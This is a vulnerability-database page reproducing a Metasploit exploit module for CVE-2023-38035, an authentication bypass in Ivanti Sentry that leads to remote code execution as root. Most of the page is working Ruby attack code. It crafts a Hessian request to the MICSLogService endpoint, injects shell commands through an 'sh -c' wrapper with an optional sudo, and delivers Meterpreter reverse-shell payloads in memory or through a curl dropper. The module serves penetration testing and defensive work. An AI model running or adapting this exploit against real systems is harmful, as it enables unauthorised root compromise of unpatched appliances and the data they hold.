Lucene search

K
metasploitZach Hanley, James Horseman, jheysel-r7MSF:EXPLOIT-LINUX-HTTP-IVANTI_SENTRY_MISC_LOG_SERVICE-
HistoryAug 29, 2023 - 5:21 p.m.

Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (CVE-2023-38035)

2023-08-2917:21:13
Zach Hanley, James Horseman, jheysel-r7
www.rapid7.com
63
ivanti sentry
micslogservice
auth bypass
rce
cve-2023-38035
code execution
root user
hessian protocol

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

0.975 High

EPSS

Percentile

100.0%

This module exploits an authentication bypass in Ivanti Sentry which exposes API functionality which allows for code execution in the context of the root user.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (CVE-2023-38035)',
        'Description' => %q{
          This module exploits an authentication bypass in Ivanti Sentry which exposes API functionality which
          allows for code execution in the context of the root user.
        },
        'Author' => [
          'Zach Hanley',    # Analysis & PoC
          'James Horseman', # Analysis & PoC
          'jheysel-r7'      # Msf module
        ],
        'References' => [
          [ 'URL', 'https://github.com/horizon3ai/CVE-2023-38035'],
          [ 'URL', 'https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/'],
          [ 'CVE', '2023-38035']
        ],
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'RPORT' => 8443,
          'SSL' => true,
          'FETCH_WRITABLE_DIR' => '/tmp'
        },
        'Platform' => ['unix', 'linux'],
        'Privileged' => false,
        'Arch' => [ ARCH_CMD, ARCH_X64 ],
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :curl,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-08-21',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptBool.new('USE_SUDO', [true, 'Execute payload as root using sudo', true]),
        OptInt.new('SLEEP', [true, 'How long to wait for each command to run. Because the execution context does not allow for command piping or chaining the module needs to split the multi command payload by semi-colon and send each command individually', 3 ]),
      ]
    )
  end

  def check
    # Unauthenticated access to the vulnerable endpoint was removed in patched versions of Sentry.
    # Send an unsupported GET request and see if it responds politely.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/mics/services/MICSLogService'),
      'method' => 'GET'
    )

    return Exploit::CheckCode::Unknown('The target did not respond to the vulnerable endpoint') unless res
    return Exploit::CheckCode::Safe("A vulnerable instance should respond with an HTTP 405 with the string: 'HessianServiceExporter only supports POST requests' in the response body") unless res.code == 405 && res.body.include?('HessianServiceExporter only supports POST requests')

    Exploit::CheckCode::Appears
  end

  def execute_command(cmd, _opts = {})
    # Below is the Hessian binary web service protocol wrapper required to invoke the function `uploadFileUsingFileInput`
    # which allows for unauthenticated command execution in the context of the root user.
    # More info on Hessian: http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers

    exploit_header = "c\x01\x00m\x00\x18uploadFileUsingFileInputMS\x00\x07commandS\x00"
    exploit_footer = "S\x00\x06isRootTzNz"

    # The sink in this RCE is java's Runtime.getRuntime.exec(). So we must prefix our command with 'sh -c $@|sh .echo'
    # in order to obtain full shell functionality, more info: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
    cmd = "sh -c $@|sh . echo #{cmd}"
    cmd = "sudo #{cmd}" if datastore['USE_SUDO']

    vprint_status('Running the command: ' + cmd)

    # Prepend the command with the length of the command as per Hessian notation
    data = exploit_header + [cmd.length].pack('C') + cmd + exploit_footer
    res = send_request_raw(
      'uri' => normalize_uri(target_uri.path, '/mics/services/MICSLogService'),
      'method' => 'POST',
      'data' => data
    )

    fail_with(Failure::Unreachable, 'The target did not respond to the exploit attempt') unless res
    fail_with(Failure::UnexpectedReply, "The response from a successful exploit attempt should be a HTTP 200 with 'isRunning' in the response body.") unless res.code == 200 && res.body.include?('isRunning')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

0.975 High

EPSS

Percentile

100.0%